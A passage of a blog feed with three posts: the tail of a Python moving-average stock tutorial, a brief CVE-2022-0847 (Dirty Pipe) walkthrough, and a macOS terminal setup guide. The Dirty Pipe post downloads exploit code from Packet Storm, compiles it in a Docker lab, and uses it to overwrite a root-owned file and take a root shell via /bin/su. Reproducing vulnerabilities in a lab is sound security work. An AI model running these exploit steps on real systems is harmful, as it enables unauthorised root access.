&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;df&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'SMA50'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;df&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'Close'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rolling&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;50&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mean&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;df&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'SMA200'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;df&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'Close'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rolling&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mean&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;visualizing-the-results&quot;&gt;Visualizing the Results&lt;/h2&gt;

&lt;p&gt;Finally, let’s plot the stock prices and moving averages using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;matplotlib&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;matplotlib.pyplot&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;plt&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;plt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;figure&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;figsize&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;plt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;plot&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;df&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'Close'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;label&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'Close Price'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;alpha&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;0.5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;plt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;plot&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;df&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'SMA50'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;label&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'50-day SMA'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;linestyle&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'--'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;plt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;plot&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;df&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'SMA200'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;label&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'200-day SMA'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;linestyle&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'-.'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;plt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'Microsoft (MSFT) Stock Prices with 50 and 200-day SMAs'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;plt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;xlabel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'Date'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;plt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ylabel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'Price ($)'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;plt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;legend&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;loc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'upper left'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;plt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;show&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With this, we’ve successfully used Python to retrieve stock data, calculate simple moving averages, and visualize the results. You can adapt this code to analyze other stocks or use different indicators as needed.&lt;/p&gt;

&lt;p&gt;Happy trading!&lt;/p&gt;</content><author><name></name></author><category term="Python" /><category term="Finance" /><category term="Stock Market" /><summary type="html">In this blog post, we’ll explore how to use Python to analyze the stock market. We’ll cover retrieving stock data, calculating simple moving averages, and visualizing the results.</summary></entry><entry><title type="html">CVE-2022-0847: Linux - Write Anything Exploit</title><link href="/2022/03/08/CVE-2022-0847.html" rel="alternate" type="text/html" title="CVE-2022-0847: Linux - Write Anything Exploit" /><published>2022-03-08T16:22:00+00:00</published><updated>2022-03-08T16:22:00+00:00</updated><id>/2022/03/08/CVE-2022-0847</id><content type="html" xml:base="/2022/03/08/CVE-2022-0847.html">&lt;h1 id=&quot;setup-environment&quot;&gt;Setup environment&lt;/h1&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Start a docker container, drop to shell.&lt;/span&gt;
docker run &lt;span class=&quot;nt&quot;&gt;--rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-it&lt;/span&gt; ubuntu:focal-20220302 /bin/bash

&lt;span class=&quot;c&quot;&gt;# cd to /tmp, Install GCC / Curl and create a user &quot;foo&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; /tmp&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; apt update &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-y&lt;/span&gt; gcc curl &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; useradd &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt; /bin/bash foo
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;variant-1-write-anything&quot;&gt;Variant 1: Write Anything&lt;/h1&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# create a file owned by root.&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo &lt;/span&gt;This is roots file dont &lt;span class=&quot;nb&quot;&gt;touch &lt;/span&gt;it! &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; root_owns_this
&lt;span class=&quot;nb&quot;&gt;chmod &lt;/span&gt;644 root_owns_this

&lt;span class=&quot;c&quot;&gt;# drop to &quot;foo&quot; user.&lt;/span&gt;
su foo

&lt;span class=&quot;c&quot;&gt;# download the payload&lt;/span&gt;
curl &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; write_anything.c https://dl.packetstormsecurity.net/2203-exploits/write_anything.c

&lt;span class=&quot;c&quot;&gt;# compile&lt;/span&gt;
gcc &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; write_anything ./write_anything.c

&lt;span class=&quot;c&quot;&gt;# before&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; ./root_owns_this

&lt;span class=&quot;c&quot;&gt;# exploit&lt;/span&gt;
./write_anything ./root_owns_this 1 FOOOOO

&lt;span class=&quot;c&quot;&gt;# after&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; ./root_owns_this
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;variant-2-root-shell&quot;&gt;Variant 2: Root Shell&lt;/h1&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# drop to &quot;foo&quot; user.&lt;/span&gt;
su foo

&lt;span class=&quot;c&quot;&gt;# download the payload&lt;/span&gt;
curl &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; dirty.c https://dl.packetstormsecurity.net/2203-exploits/dirtypipez.c

&lt;span class=&quot;c&quot;&gt;# compile&lt;/span&gt;
gcc &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; dirty ./dirty.c

&lt;span class=&quot;c&quot;&gt;# exploit&lt;/span&gt;
./dirty /bin/su
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;</content><author><name></name></author><summary type="html">Setup environment</summary></entry><entry><title type="html">OSX Terminal Setup Guide</title><link href="/2021/01/26/osx-terminal-setup.html" rel="alternate" type="text/html" title="OSX Terminal Setup Guide" /><published>2021-01-26T06:52:00+00:00</published><updated>2021-01-26T06:52:00+00:00</updated><id>/2021/01/26/osx-terminal-setup</id><content type="html" xml:base="/2021/01/26/osx-terminal-setup.html">&lt;p&gt;A speedy setup.&lt;/p&gt;

&lt;p&gt;I use it whenever I get a new Mac and want to jump right in to being productive.&lt;/p&gt;

&lt;h3 id=&quot;install-macports&quot;&gt;Install MacPorts&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;Go &lt;a href=&quot;https://www.macports.org/install.php&quot;&gt;here&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;Choose your Mac OS (Catalina, Mojave, …).&lt;/li&gt;
  &lt;li&gt;Install the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MacPorts-x.x.x-xx.xx-x.pkg&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x&lt;/code&gt;’s will be replaced with your OS).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;em&gt;&lt;strong&gt;Food For Thought&lt;/strong&gt;: Mull over &lt;a href=&quot;https://saagarjha.com/blog/2019/04/26/thoughts-on-macos-package-managers/&quot;&gt;this article&lt;/a&gt; and make your own choice between &lt;a href=&quot;https://brew.sh&quot;&gt;homebrew&lt;/a&gt; or &lt;a href=&quot;https://www.macports.org/&quot;&gt;MacPorts&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h3 id=&quot;install-jq&quot;&gt;Install jq&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;see:&lt;/strong&gt; &lt;a href=&quot;https://stedolan.github.io/jq/&quot;&gt;jq&lt;/a&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;port &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;jq
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;install-fish&quot;&gt;Install Fish&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;see:&lt;/strong&gt; &lt;a href=&quot;https://fishshell.com/&quot;&gt;fish&lt;/a&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;port &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;fish
&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;chsh &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;which fish&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-F&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;install-oh-my-fish&quot;&gt;Install oh-my-fish&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;see:&lt;/strong&gt; &lt;a href=&quot;https://github.com/oh-my-fish/oh-my-fish&quot;&gt;oh-my-fish&lt;/a&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl &lt;span class=&quot;nt&quot;&gt;-L&lt;/span&gt; https://get.oh-my.fish | fish
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;restart-your-terminal&quot;&gt;Restart your Terminal&lt;/h3&gt;

&lt;p&gt;Exit and restart your terminal.&lt;/p&gt;

&lt;h3 id=&quot;install-nvm-and-nvm-plugins-for-omf&quot;&gt;Install nvm and nvm plugins for OMF.&lt;/h3&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl &lt;span class=&quot;nt&quot;&gt;-o-&lt;/span&gt; https://raw.githubusercontent.com/nvm-sh/nvm/&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;curl &lt;span class=&quot;nt&quot;&gt;-Ls&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'https://api.github.com/repos/nvm-sh/nvm/releases/latest'&lt;/span&gt; | jq &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; .tag_name&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;/install.sh | bash
omf &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;nvm
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;install-bobthefish-theme&quot;&gt;Install BobtheFish theme&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;see:&lt;/strong&gt; &lt;a href=&quot;https://github.com/oh-my-fish/theme-bobthefish&quot;&gt;bobthefish&lt;/a&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;omf &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;bobthefish
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;install-docker&quot;&gt;Install Docker&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;see::&lt;/strong&gt; &lt;a href=&quot;https://www.docker.com/get-started&quot;&gt;docker&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Download &lt;a href=&quot;https://desktop.docker.com/mac/stable/Docker.dmg&quot;&gt;https://desktop.docker.com/mac/stable/Docker.dmg&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Install.&lt;/li&gt;
&lt;/ol&gt;</content><author><name></name></author><summary type="html">A speedy setup.</summary></entry></feed>